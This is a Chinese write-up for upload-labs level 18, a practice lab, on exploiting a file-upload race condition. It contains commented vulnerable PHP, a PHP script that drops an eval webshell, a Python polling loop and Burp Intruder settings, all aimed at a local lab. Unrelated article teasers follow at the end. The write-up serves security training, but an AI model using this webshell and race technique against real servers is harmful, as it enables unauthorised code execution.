upload-labs通关笔记-第18关文件上传之条件竞争
目录
一、条件竞争
二、源码分析
1、源码分析
2、攻击原理
3、渗透思路
三、实战渗透
1、构造脚本
2、获取上传脚本URL
3、构造访问母狼脚本的Python代码
4、bp不断并发上传母狼脚本
(1)开启专业版bp
(2) 上传母狼脚本发送到intruder
(3)配置intruder位置
(4)配置intruder负载
(5)配置intruder线程
(6)intruder开始攻击
5、执行访问母狼脚本
6、访问小狼脚本
本文通过《upload-labs通关笔记-第18关文件上传之条件竞争》系列。文件上传条件竞争是一种在文件上传过程中利用并发操作导致的时间差来绕过安全限制的攻击方式,本节进行条件竞争绕过渗透实战。
一、条件竞争
条件竞争(Race Condition Vulnerability)在文件上传的应用场景中是一种常见的安全问题,其核心原理是利用系统处理文件时的"检查-使用"时间差(Time-of-Check to Time-of-Use, TOCTOU)进行攻击。其基本工作原理如下所示。
(1)正常上传流程:
- 服务器检查文件合法性(扩展名、内容类型等)
- 服务器将文件保存到指定位置
- 服务器对文件进行后续处理(如重命名、移动或删除)
(2)原因
- 在"检查"和"最终处理"之间存在时间窗口
- 攻击者可在这个时间间隙内进行操作
二、源码分析
打开靶场第18关,查看源码,分析可知文件上传的处理流程是先被传到服务器,然后根据后缀是否在白名单中,如果不在则删掉文件。具体代码如下所示。
1、源码分析
很明显代码存在条件竞争安全风险,主要原因在于文件移动和文件类型检查这两个操作不是原子操作,中间存在时间间隔,攻击者可以利用这个时间间隔进行攻击。详细注释后的代码如下所示。
<?php
// 初始化变量 $is_upload,用于标记文件是否上传成功,初始值为 false 表示尚未成功上传
$is_upload = false;
// 初始化变量 $msg,用于存储上传过程中的提示信息,初始值为 null 表示暂无提示信息
$msg = null;// 检查是否通过 POST 方式提交了名为 'submit' 的表单元素
// 如果提交了,说明用户触发了文件上传操作,进入后续处理逻辑
if (isset($_POST['submit'])) {// 定义一个数组 $ext_arr,存储允许上传的文件扩展名$ext_arr = array('jpg', 'png', 'gif');// 获取用户上传文件的原始文件名$file_name = $_FILES['upload_file']['name'];// 获取上传文件在服务器临时存储的路径$temp_file = $_FILES['upload_file']['tmp_name'];// 从文件名中提取文件扩展名// strrpos($file_name, ".") 用于查找文件名中最后一个点号的位置// substr($file_name, strrpos($file_name, ".") + 1) 从最后一个点号的下一个位置开始截取字符串,得到文件扩展名$file_ext = substr($file_name, strrpos($file_name, ".") + 1);// 拼接上传文件在目标目录中的完整路径// UPLOAD_PATH 是预定义的上传文件保存目录$upload_file = UPLOAD_PATH . '/' . $file_name;// 尝试将临时文件从临时存储路径移动到目标路径// move_uploaded_file 是 PHP 内置函数,用于处理文件上传移动操作if (move_uploaded_file($temp_file, $upload_file)) {// 检查提取的文件扩展名是否在允许的扩展名数组中if (in_array($file_ext, $ext_arr)) {// 如果扩展名合法,拼接一个新的文件名// rand(10, 99) 生成一个 10 到 99 之间的随机整数// date("YmdHis") 获取当前的日期和时间,格式为年月日时分秒// 最后拼接上文件扩展名$img_path = UPLOAD_PATH . '/' . rand(10, 99) . date("YmdHis") . "." . $file_ext;// 将之前移动到目标路径的文件重命名为新的文件名rename($upload_file, $img_path);// 将 $is_upload 标记为 true,表示文件上传成功$is_upload = true;} else {// 如果扩展名不合法,将提示信息 $msg 设置为只允许上传指定类型的文件$msg = "只允许上传.jpg|.png|.gif类型文件!";// 删除已经移动到目标路径的文件unlink($upload_file);}} else {// 如果文件移动失败,将提示信息 $msg 设置为上传出错$msg = '上传出错!';}
}
?>
2、攻击原理
根据源码可知本关卡服务器的处理流程有条件竞争安全风险,具体原理如下所示。
- 文件移动:代码先使用move_uploaded_file函数将上传的临时文件移动到目标目录,此时文件已经被放置在目标目录中,但还未进行文件类型检查。
- 时间间隔:在文件移动完成后,代码才开始检查文件扩展名是否合法。在这个时间间隔内,攻击者可以利用多线程或脚本快速地多次上传文件,并且在服务器进行文件类型检查之前,修改服务器上文件的扩展名或内容。
- 绕过检查:如果攻击者在文件类型检查之前将文件扩展名修改为合法的扩展名,或者利用文件包含访问图片马等方式让服务器以恶意代码的形式执行文件,就可以绕过文件类型检查,实现恶意文件的上传和执行。
3、渗透思路
利用上传到服务器和判断不在黑名单被删除的时间差进行webshell上传。即攻击者上传一个包含恶意代码的 .php
文件(我们称之为母狼脚本),服务器将其移动到目标目录。在服务器进行文件类型检查之前,攻击者通过脚本执行生成一个新的脚本(我们称之为小狼脚本),这样在后续的扩展名检查中,虽然母狼脚本因检查不合格被删除,但是小狼脚本却没有被检查而存储在服务器中被认为是合法文件,从而绕过了安全检查,这样我们访问小狼脚本恶意代码就有可能被执行。
总结起来就是上传木马1(母狼)成功,木马1(母狼)还没被删掉的时间差过程中,成功访问木马文1(母狼)。这个木马文件1(母狼)的特点是可以生成一句话小木马2(小狼),如果在时间差内访问成功上传的这个木1(母狼),即可生成一句话小木马2(小狼)。这样不断地并发上传母狼脚本,接下来不断地并发访问母狼脚本,由于服务器是先存储母狼脚本然后检查母狼的合法性再杀掉,只要利用时间差在服务器杀死母狼之前让母狼脚本可以生成小狼脚本,即可通过访问小狼脚本实现渗透
三、实战渗透
1、构造脚本
构造文件上传的shell脚本(脚本1,母狼,命名为ljn_shell.php),内容为post马。脚本内容如下所示。
<?php fputs(fopen('ljn_post.php','w'),'<?php @eval($_POST[ljn]);?>');?>
此函数用于写入或创建一个名为 ljn_post.php 的文件(脚本2,小狼)。如果文件不存在,将会创建一个名为ljn_post.php新的文件,脚本内容如下所示。
<?php @eval($_POST[ljn]);?>
2、获取上传脚本URL
对于上传到服务器的母狼脚本ljn_shell.php,相关源码处理如下所示。
// 获取用户上传文件的原始文件名$file_name = $_FILES['upload_file']['name'];// 获取上传文件在服务器临时存储的路径$temp_file = $_FILES['upload_file']['tmp_name'];// 拼接上传文件在目标目录中的完整路径// UPLOAD_PATH 是预定义的上传文件保存目录$upload_file = UPLOAD_PATH . '/' . $file_name;// 尝试将临时文件从临时存储路径移动到目标路径// move_uploaded_file 是 PHP 内置函数,用于处理文件上传移动操作if (move_uploaded_file($temp_file, $upload_file)) {}
分析可知文件上传到服务器的URL根据如下代码决定,由upload目录与文件名拼接。
upload_file = UPLOAD_PATH . '/' . $file_name
根据源码可知$file_name为上传文件名,假如要传的源码为ljn_shell.php,那么存储在upload/目录下,那么母狼脚本1的URL链接地址如下所示。
http://127.0.0.1/upload-labs/upload/ljn_shell.php
同理,母狼ljn_shell.php生成的小狼脚本ljn_post.php生成在同一目录,故而小狼脚本文件的完整URL地址如下所示。
http://127.0.0.1/upload-labs/upload/ljn_post.php
3、构造访问母狼脚本的Python代码
这段代码的功能是不断的并发访问母狼脚本ljn_shell.php,希望可以利用时间差在服务器检查后缀判断其不在白名单删除母狼前,使得母狼脚本ljn_shell.php可以成功执行生成小狼脚本ljn_post.php。
import requests
url = "http://127.0.0.1/upload-labs/upload/ljn_shell.php"
while True:html = requests.get(url)if html.status_code == 200:print("OK")breakelse:print("NO")
4、bp不断并发上传母狼脚本
(1)开启专业版bp
浏览器开启代理,burpsuite(注意要选用专业版)打开拦截功能。
(2) 上传母狼脚本发送到intruder
点击上传后报文被bp拦截,右键发送到intruder,如下所示。
(3)配置intruder位置
选择狙击手模式并清空所有负载,具体如下所示。
(4)配置intruder负载
接下来配置payloads,选择null payload并选择continue indefinitely,具体如下所示。
(5)配置intruder线程
在intrude里面,选择resource pool下面有个create new source pool可以重新设置线程数,我们勾选maximum concurrent requests,并且进行参数的设置,这里我选择了10个线程,大家可以根据自己机器的配置进行设置。
(6)intruder开始攻击
攻击后的效果如下所示。
5、执行访问母狼脚本
运行执行3.3的python脚本,看到ok说明渗透成功效果如下所示。
此时说明渗透成功,母狼脚本访问成功,生成了小狼脚本ljn_post.php。此时关闭bp的intruder,如下所示。
6、访问小狼脚本
上传到服务器的母狼脚本访问成功,生成了小狼脚本ljn_post.php,完整URL地址如下所示。
http://127.0.0.1/upload-labs/upload/ljn_post.php
POST参数设置进行如下code设置,如下图所示渗透成功。
ljn=phpinfo();
相关文章:
upload-labs通关笔记-第18关文件上传之条件竞争
目录 一、条件竞争 二、源码分析 1、源码分析 2、攻击原理 3、渗透思路 三、实战渗透 1、构造脚本 2、获取上传脚本URL 3、构造访问母狼脚本的Python代码 4、bp不断并发上传母狼脚本 (1)开启专业版bp (2) 上传母狼脚本…...
华为Cangjie编程技术深度解析(续篇1)
华为Cangjie编程技术深度解析(续篇) 第六章 分布式运行时深度剖析 6.1 设备虚拟化引擎 Cangjie设备抽象层(DAL)原理 // 设备能力声明式描述 @DeviceProfile(id = "AGV-0023",capabilities = {mobility: { speed: 1.5m/s, payload: 50kg },sensors: [lidar, t…...
WordPress AI插件 新增支持一键批量自动生成WooCommerce 产品描述、产品图、产品评论
Linkreate wordpressAI智能插件-自动化运营网站 文章生成与优化|多语言文章生成|关键词生成与分类管理|内容采集与管理|定时任务与自动|多任务后台运行|API集成与AI客服|媒体生成功能 一款可以24小时自动发布原创文章的WordPress插件,支持AI根据已有的长尾关键词、关…...
如何测试JWT的安全性:全面防御JSON Web Token的安全漏洞
在当今的Web应用安全领域,JSON Web Token(JWT)已成为身份认证的主流方案,但OWASP统计显示,错误配置的JWT导致的安全事件占比高达42%。本文将系统性地介绍JWT安全测试的方法论,通过真实案例剖析典型漏洞,帮助我们构建全…...
华为昇腾开发——多模型资源管理(C++)
使用ACLLite进行多模型资源管理(C++实现) 在使用Ascend ACL(Ascend Computing Language)的ACLLite库进行多模型推理时,合理的资源管理至关重要。以下是如何在C++中实现多模型资源管理的方案: 1. 资源管理基础 首先,我们需要理解Ascend平台的关键资源: 设备(Device)资…...
【开源解析】基于深度学习的双色球预测系统:从数据获取到可视化分析
基于深度学习的双色球预测系统:从数据获取到可视化分析 🌈 个人主页:创客白泽 - CSDN博客 🔥 系列专栏:🐍《Python开源项目实战》 💡 热爱不止于代码,热情源自每一个灵感闪现的夜晚。…...
【RAG】ragflow源码亮点:文档embedding向量化加权融合
引言: 最近在看ragflow源码,其中有一个较为巧妙地设计:分别将 文字 、 标题 行向量化 之后,直接根据权重,进行加法运算,得到向量融合,增强了文本向量化的表示能力,这里开始讨论一下…...
vue3+element-plus+pinia完整搭建好看简洁的管理后台
目录 一、项目介绍 二、项目结构 1.vscode的项目截图 2.项目依赖 三、项目截图 1.登录页 2.首页 3.汽车管理 4.汽车信息 5.系统管理 6.订单管理 7.数据统计 8.个人中心 四、源码分析 1.数据存储与同步 2.汽车信息 3.框架布局 五、总结 一、项目介绍 项目使用…...
新手到资深的Java开发编码规范
新手到资深的开发编码规范 一、前言二、命名规范:代码的 “第一印象”2.1 标识符命名原则2.2 命名的 “自描述性” 原则2.3 避免魔法值 三、代码格式规范:结构清晰的视觉美学3.1 缩进与空格3.2 代码块规范3.3 换行与断行 四、注释规范:代码的…...
Docker架构详解
一,Docker的四大要素:Dockerfile、镜像(image)、容器(container)、仓库(repository) 1.dockerfile:在dockerfile文件中写构建docker的命令,通过dockerbuild构建image 2.镜像:就是一个只读的模板,镜像可以用来创建docker容器&…...
VS Code中Maven未能正确读取`settings.xml`中配置的新路径
在VS Code中Maven未能正确读取settings.xml中配置的新路径,通常是由于以下原因导致的: 一、VS Code未使用你修改的settings.xml文件 VS Code的Maven插件可能使用了默认配置或指向其他settings.xml文件。解决方法: 手动指定settings.xml路径…...
Spring Boot 注解 @ConditionalOnMissingBean是什么
一句话总结: ConditionalOnMissingBean 是 Spring Boot 提供的一个 条件注解(Conditional Annotation),意思是: 只有当 Spring 容器中 不存在 某个 Bean 时,当前的 Bean 或配置才会被加载。 这是一种典型的…...
labview实现LED流水灯的第二种方法
LED流水灯的描述:写一个跑马灯程序,7个灯从左到右不停的轮流点亮,闪烁间隔由滑动条调节,并尝试拓展到任意个LED灯。 在前面的文章中,我们提到了使用labview实现LED流水灯的第一种方法。这篇文章来介绍一下实现LED流水灯的第二种方…...
Katoolin3 项目介绍:在 Ubuntu 上轻松安装 Kali Linux 工具
引言 在网络安全和渗透测试领域,Kali Linux 以其丰富的工具集成为首选操作系统。然而,Kali Linux 作为一个专为安全研究设计的系统,可能不适合日常使用或服务器环境(如 Ubuntu VPS)。Katoolin3 是一个强大的 Python 脚…...
labview设计一个虚拟信号发生器
目标:设计一个虚拟信号发生器,通过功能键的设置可以产生正弦波、三角波、方波和锯齿波,并可以通过输入控件设置采集信号的频率、幅值、相位等参数。 一、正弦波 (1)创建一个枚举 (2)点击属性后…...
java I/O
文件字符流 字符流不同于字节,字符流是以一个具体的字符进行读取,因此它只适合读纯文本的文件,如果是其他类型的文件不适用。 字节流;英文1个字节,中文3个字节。 字符流:中英文都是2个字节 public static…...
机器学习第二十三讲:CNN → 用放大镜局部观察图片特征层层传递
机器学习第二十三讲:CNN → 用放大镜局部观察图片特征层层传递 资料取自《零基础学机器学习》。 查看总目录:学习大纲 关于DeepSeek本地部署指南可以看下我之前写的文章:DeepSeek R1本地与线上满血版部署:超详细手把手指南 CNN详…...
webpack构建速度和打包体积优化方案
一、分析工具 1.1 webpack-bundle-analyzer 生成 stats.json 文件 打包命令webpack --config webpack.config.js --json > stats.json使用 webpack-bundle-analyzer 插件const BundleAnalyzerPlugin = require(webpack-bundle-analyzer).BundleAnalyzerPlugin; plugins: […...
RabbitMQ可靠传输——持久性、发送方确认
一、持久性 前面学习消息确认机制时,是为了保证Broker到消费者直接的可靠传输的,但是如果是Broker出现问题(如停止服务),如何保证消息可靠性?对此,RabbitMQ提供了持久化功能: 持久…...
《深度掌控Linux:openEuler、CentOS、Debian、Ubuntu的全方位运维指南》
《深度掌控Linux:openEuler、CentOS、Debian、Ubuntu的全方位运维指南》 一、引言 在当今数字化的时代背景下,Linux操作系统凭借其卓越的性能、可靠性和开源的优势,在服务器、云计算、嵌入式系统等众多领域占据着举足轻重的地位。对于IT运维…...
关于大语言模型的问答?
1.Why is prompt(提示词) engineering necessary when working with large language models (LLMs)? 答:Despite LLMs are powerful and versatile, they could still generate texts that are too generic, hallucinated, irrelevant, or …...
大模型应对大风等极端天气的卓越效果及其在能源预测中的特殊价值
引言 近年来,全球气候变化加剧,极端天气事件频发,尤其是大风天气的强度和频率显著增加。这不仅对电网安全运行带来挑战,也对风电场的发电效率、设备安全和收益稳定性造成影响。传统的气象预测和能源管理方法已难以满足高精度、实时响应的需求。而基于人工智能(AI)的大模…...
【web应用】vue3前端框架怎么修改logo?
菜单栏logo修改:src/assets/logo中的图片替换 浏览器栏目logo修改:public文件夹中的icon文件替换...
【Windows】FFmpeg安装教程
FFmpeg 下载与安装指南 下载 FFmpeg 访问 FFmpeg 官网点击页面上的 “Download” 按钮进入下载页面 配置环境变量 将 FFmpeg 的 bin 目录添加到系统环境变量 PATH 中 验证安装 打开 PowerShell输入命令 ffmpeg -version若显示版本信息,则表明安装成功 视频格式检…...
阿里巴巴 MCP 分布式落地实践:快速转换 HSF 到 MCP server
MCP 为资源访问和 Multi Agent 互操作提供了标准化的可能。开源社区目前对 MCP 的生态建设非常火热,mcp.so 已经提供了近 1 万的 mcp server ,其他各种 MCP 生态组件更是层出不穷。AI 大厂们积极拥抱 MCP ,并纷纷提供了自己的 MCP server。对…...
基于阿里云DashScope API构建智能对话指南
背景 公司想对接AI智能体,用于客服系统,经过调研和实施,觉得DashScope 符合需求。 阿里云推出的DashScope灵积模型服务为开发者提供了便捷高效的大模型接入方案。本文将详细介绍如何基于DashScope API构建一个功能完善的智能对话系统&#x…...
RK3588 RGA 测试
RK3588 RGA 测试 一、数据分析总结【由LLM生成】二、考链接三、测试数据四、测试过程4.1 编译librga SDK4.2 运行自带的测试4.3 生成`Resize`测试程序4.4 运行`Resize`测试4.5 遇到的错误一、数据分析总结【由LLM生成】 本次测试针对不同的源图像尺寸、目标图像尺寸和缩放算法…...
【机器学习】集成学习算法及实现过程
一、学习目标 了解什么是集成学习了解机器学习中的两个核⼼任务理解Bagging集成原理理解随机森林构造过程掌握RandomForestClassifier的使⽤掌握boosting集成原理和实现过程理解bagging和boosting集成的区别理解AdaBoost集成原理理解GBDT的算法原理 二、集成学习算法简介 2.…...
Vue:axios(GET请求)
基础 GET 请求 axios.get(https://api.example.com/data).then(response > {console.log(响应数据:, response.data);}).catch(error > {console.error(请求失败:, error);});参数传递方式 axios.get(/api/search, {params: {keyword: vue,page: 1,sort: desc} });// 实…...
iOS工厂模式
iOS工厂模式 文章目录 iOS工厂模式简单工厂模式(Simple Factory)工厂方法模式(Factory Method)抽象工厂模式(Abstract Factory)三种模式对比 简单工厂模式(Simple Factory) 定义&am…...
GitHub 趋势日报 (2025年05月21日)
本日报由 TrendForge 系统生成 https://trendforge.devlive.org/ 🌐 本日报中的项目描述已自动翻译为中文 📈 今日整体趋势 Top 10 排名项目名称项目描述今日获星总星数语言1microsoft/WSLLinux的Windows子系统⭐ 1731⭐ 25184C2virattt/ai-hedge-fundA…...
iOS 直播弹幕功能的实现
实现iOS直播弹幕功能需要考虑多个方面,包括弹幕的显示、管理、动画效果以及与直播流的同步。 核心实现方案 1. 弹幕显示视图 class BarrageView: UIView {// 弹道(轨道)数组private var tracks: [CALayer] []// 正在显示的弹幕数组 private var displayingBarra…...
借助Azure AI Foundry 如何打造语音交互新体验
在刚刚落幕的微软创想未来峰会上,Contoso 智能家居的现场演示引发了热议。许多观众在会后留言询问如何回看这场精彩演示。今天,微软为您揭秘 Contoso 如何借助微软最新技术实现智能家居的飞跃式创新。 当语音遇上智能体:用户体验焕然一新 如…...
Spring开发系统时如何实现上传和下载文件
代码如下 值得注意的是上传时候不需要参数servletRequest而下载时候却需要servletResponse,这是为什么呢? 这是因为文件上传时,客户端通过 HTTP POST 请求将文件数据放在 请求体(Body) 中。Spring MVC 对上传过程进行…...
CyberSecAsia专访CertiK首席安全官:区块链行业亟需“安全优先”开发范式
近日,权威网络安全媒体CyberSecAsia发布了对CertiK首席安全官Wang Tielei博士的专访,双方围绕企业在进军区块链领域时所面临的关键安全风险与防御策略展开深入探讨。 Wang博士在采访中指出,跨链桥攻击、智能合约漏洞以及私钥管理不当&#x…...
Android 直播播放器FFmpeg静态库编译实战指南(NDK r21b)
一、环境准备与验证 1.1 必要组件安装 # Ubuntu环境依赖 sudo apt update sudo apt install -y git make automake autoconf libtool pkg-config curl unzip# NDK r21b下载 mkdir -p ~/android && cd ~/android wget https://dl.google.com/android/repository/andro…...
Linux中 I/O 多路复用机制的边缘触发与水平触发
边缘触发(Edge Triggered, ET)与水平触发(Level Triggered, LT) Linux中I/O复用机制epoll -CSDN博客 Linux中的 I/O 复用机制 select-CSDN博客 在 epoll 或其他 I/O 多路复用机制中,触发模式是指如何触发文件描述符…...
01-jenkins学习之旅-window-下载-安装
1 jenkins简介 百度百科介绍:Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件项目可以进行持续集成。 [1] Jenkins官网地址 翻译&…...
实战:Dify智能体+Java=自动化运营工具!
我们在运营某个圈子的时候,可能每天都要将这个圈子的“热门新闻”发送到朋友圈或聊天群里,但依靠传统的实现手段非常耗时耗力,我们通常要先收集热门新闻,再组装要新闻内容,再根据内容设计海报等。 那怎么才能简化并高…...
LInux—shell编程
一、Shell 编程核心特性 解释型语言 无需编译,直接由 bash、sh 等解释器逐行执行。 类似 PHP 的解释执行,不同于 C 的编译型。 系统命令集成 可直接调用 Linux 命令(如 ls、grep、awk),实现系统管理自动化。 与 C/…...
C++028(变量的作用域)
变量的作用域 作用域就是程序中变量的作用范围。局部变量的作用域是局部的,如函数体内;全局变量的作用域则是整个程序。 我们前面接触过的变量基本都是局部变量,这些变量在函数体内声明,无法被其他函数所使用。函数的形参也属于…...
计算机三级数据库免费题库
1.免费题库链接 链接: https://pan.baidu.com/s/1oNpgWmkFePUrCS6G7tfpUQ?pwdb1hg 提取码: b1hg 2.安装教程...
Unity Shader入门(更新中)
参考书籍:UnityShader入门精要(冯乐乐著) 参考视频:Bilibili《Unity Shader 入门精要》 写在前面:前置知识需要一些计算机组成原理、线性代数、Unity的基础 这篇记录一些学历过程中的理解和笔记(更新中&…...
NSSCTF-[陇剑杯 2021]webshell(问6)
下载得到pcap文件 放到Wireshark进行分析 先过滤http contains "1.php"&&http.request.method"POST" 追踪HTTP流 将后面的进行解码 得到flag NSSCTF{192.168.239.123}...
vscode git push 记录
1.先在git上建一个仓库 2.在vscode上登录同一账号 配置好ssh 直接使用 git remote add origin gitgithub.com:18053923230/aiRecipe.git (base) PS D:\gitee\cookbook> git push -u origin master Enter passphrase for key /c/Users/Administrator/.ssh/id_ed25519: …...
前端性能优化方案
一、HTML优化策略 1、减少DOM层级 <!-- 避免 --><div><div><div><p>内容</p></div></div></div><!-- 推荐 --><div class"content">内容</div> 原因:嵌套过深会增加渲染…...
前端vscode学习
1.安装python 打开Python官网:Welcome to Python.org 一定要点PATH,要不然要自己设 点击install now,就自动安装了 键盘winR 输入cmd 点击确定 输入python,回车 显示这样就是安装成功了 2.安装vscode 2.1下载软件 2.2安装中文 2.2.1当安…...
python实现web请求与回复
一、作为客户端发送请求(使用requests库) import requests # 发送GET请求 response requests.get("https://api.example.com/data") print("GET响应状态码:", response.status_code) print("GET响应内容:", response.…...
Python实现Web请求与响应
目录 一、Web 请求与响应基础 (一)Web 请求与响应的定义与组成 (二)HTTP 协议概述 (三)常见的 HTTP 状态码 二、Python 的 requests 库 (一)安装 requests 库 (二…...
AI与.NET技术实操系列(六):实现图像分类模型的部署与调用
引言 人工智能(AI)技术的迅猛发展推动了各行各业的数字化转型。图像分类,作为计算机视觉领域的核心技术之一,能够让机器自动识别图像中的物体、场景或特征,已广泛应用于医疗诊断、安防监控、自动驾驶和电子商务等领域…...